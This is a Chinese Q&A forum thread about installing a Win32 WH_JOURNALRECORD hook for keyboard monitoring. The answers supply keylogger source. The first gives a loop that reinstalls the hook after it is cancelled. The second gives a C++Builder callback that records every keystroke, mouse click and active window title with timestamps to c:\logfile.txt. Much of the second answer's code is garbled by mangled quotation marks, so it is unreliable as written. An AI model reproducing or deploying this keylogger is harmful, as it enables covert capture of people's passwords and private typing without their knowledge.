Win32问题：WH_JOURNALRECORD钩子无法安装

Question

我在同一进程中实现了JournalRecordProc用于实现键盘监控，没有用DLL，根据msdn上说WH_JOURNALRECORD是系统钩子，但为何无法安装SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROCJournalLogProc,NULL,0);  //安装日志钩子
SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROCJournalLogProc,GetModuleHandle(NULL),0);  //安装日志钩子
请问为何？？？？？？？？？？

Answer 1

MSG msg;
BYTE keytbl[256];
g_hLogHook=::SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalRecordProc,::GetModuleHandle(NULL),0);
if(g_hLogHook==NULL) 
{
return -1;
}


      while(PeekMessage(&msg,NULL,0,0,PM_NOREMOVE)) 
{
//先查看消息队列，以免阻塞
        GetMessage(&msg,NULL,0,0);   //PeekMessage、GetMessage、DispatchMessage三个函数的联合使用应该是处理Windows下消息的常用技巧。            if(msg.message==WM_CANCELJOURNAL) 
{
//如果消息是取消日志钩子，则重设
                SetKeyboardState(keytbl);
                g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalRecordProc,::GetModuleHandle(NULL),0);
                if(g_hLogHook==NULL) 
{

                                        return -1;
} }
else
{
DispatchMessage(&msg);
}

Answer 2

HHOOK g_hLogHook=NULL; //钩子变量 
HWND g_hLastFocus=NULL; 
//记录上一次得到焦点的窗口句柄 
const int KeyPressMask=0x80000000; //键盘掩码常量 
char g_PrvChar; //保存上一次按键值 3．在Button1的OnClick事件中输入： void __fastcall TForm1::Button1Click(TObject *Sender) 
{ 
if (g_hLogHook==NULL) 
g_hLogHook = SetWindowsHookEx 
(WH_JOURNALRECORD, 
(HOOKPROC)JournalLogProc, 
HInstance,0); //安装日志钩子 
} 4．在Button2的OnClick事件中输入： void __fastcall TForm1::Button2Click(TObject *Sender) 
{ 
if (g_hLogHook!=NULL) 
{UnhookWindowsHookEx(g_hLogHook); 
g_hLogHook=NULL; 
} //卸载日志钩子 
} 5．输入钩子回调函数： 
HOOKPROC JournalLogProc(int iCode, 
WPARAM wParam, LPARAM lParam) 
{ 
if (iCode<0) return (HOOKPROC)CallNextHookEx (g_hLogHook,iCode,wParam,lParam); if (iCode="=HC_ACTION)" {EVENTMSG *pEvt="(EVENTMSG" *)lParam; int i; HWND hFocus; //保存当前活动窗口句柄 char szTitle[256]; //当前窗口名称 char szTime[128]; //保存当前的日期和时间 FILE *stream="fopen(“c:\\logfile.txt”,"a+t");" if (pEvt->message==WM_KEYDOWN) 
{int vKey=LOBYTE(pEvt- >paramL); // 取得虚拟键值 
char ch; 
char str[10]; 
hFocus=GetActiveWindow(); 
//取得当前活动窗口句柄 
if(g_hLastFocus!=hFocus) 
//当前活动窗口是否改变 
{GetWindowText(hFocus,szTitle,256); 
g_hLastFocus=hFocus; 
strcpy(szTime,DateTimeToStr(Now()) 
.c_str()); //得到当前的日期时间 
fprintf(stream,"%c%s%c%c%s", 
10,szTime,32,32,szTitle); //写入文件 
fprintf(stream,"%c%c",32,32); 
} 
int iShift=GetKeyState(0x10); 
//测试SHIFT,CAPTION,NUMLOCK等键是否按下 
int iCapital=GetKeyState(0x14); 
int iNumLock=GetKeyState(0x90); 
bool bShift=(iShift & KeyPressMask)==KeyPressMask; 
bool bCapital=(iCapital & 1)==1; 
bool bNumLock=(iNumLock & 1)==1; 
if (vKey >=48 && vKey<=57) // 数字0-9 if (!bShift) fprintf(stream,"%c",vKey); if (vKey>=65 && vKey<=90) // A-Z a-z {if (!bCapital) if (bShift) ch="vKey;" else ch="vKey+32;" else if (bShift) ch="vKey+32;" else ch="vKey;" fprintf(stream,"%c",ch); } if (vKey>=96 && vKey<=105) // 小键盘0-9 if (bNumLock) fprintf(stream,"%c",vKey-96+48); if (vKey>=186 && vKey<=222) // 其他键 {switch (vKey) {case 186:if (!bShift) ch=";" ; else ch=":" ;break; case 187:if (!bShift) ch="=" ; else ch="+" ;break; case 188:if (!bShift) ch="," ; else ch="<" ;break; case 189:if (!bShift) ch="-" ; else ch="_" ;break; case 190:if (!bShift) ch="." ; else ch=" >" ;break; case 191:if (!bShift) ch="/" ; else ch="?" ;break; case 192:if (!bShift) ch="`" ; else ch="~" ;break; case 219:if (!bShift) ch="[" ; else ch="{" ;break; case 220:if (!bShift) ch="\\" ; else ch="|" ;break; case 221:if (!bShift) ch="]" ; else ch="}" ;break; case 222:if (!bShift) ch="\" '; else ch="\"" ;break; default:ch="n" ;break; } if (ch!="n" ) fprintf(stream,"%c",ch); } // if (wParam>=112 && wParam<=123) // 功能键 [F1]-[F12] if (vKey>=8 && vKey<=46) //方向键 {switch (vKey) {case 8:strcpy(str,"[BK]");break; case 9:strcpy(str,"[TAB]");break; case 13:strcpy(str,"[EN]");break; case 32:strcpy(str,"[SP]");break; case 33:strcpy(str,"[PU]");break; case 34:strcpy(str,"[PD]");break; case 35:strcpy(str,"[END]");break; case 36:strcpy(str,"[HOME]");break; case 37:strcpy(str,"[LF]");break; case 38:strcpy(str,"[UF]");break; case 39:strcpy(str,"[RF]");break; case 40:strcpy(str,"[DF]");break; case 45:strcpy(str,"[INS]");break; case 46:strcpy(str,"[DEL]");break; default:ch="n" ;break; } if (ch!="n" ) {if (g_PrvChar!="vKey)" {fprintf(stream,"%s",str); g_PrvChar="vKey;" } } } } if (pEvt->message==WM_LBUTTONDOWN || pEvt- >message 
==WM_RBUTTONDOWN) 
{hFocus=GetActiveWindow(); 
if (g_hLastFocus!=hFocus) 
{g_hLastFocus=hFocus; 
GetWindowText(hFocus,szTitle,256); 
strcpy(szTime,DateTimeToStr(Now()).c_str()); 
//得到当前的日期时间 
fprintf(stream,"%c%s%c%c%s", 
10,szTime,32,32,szTitle); //写入文件 
fprintf(stream,"%c%c",32,32); 
} 
} 
fclose(stream); 
return (HOOKPROC)CallNextHookEx 
(g_hLogHook,iCode,wParam,lParam); 
}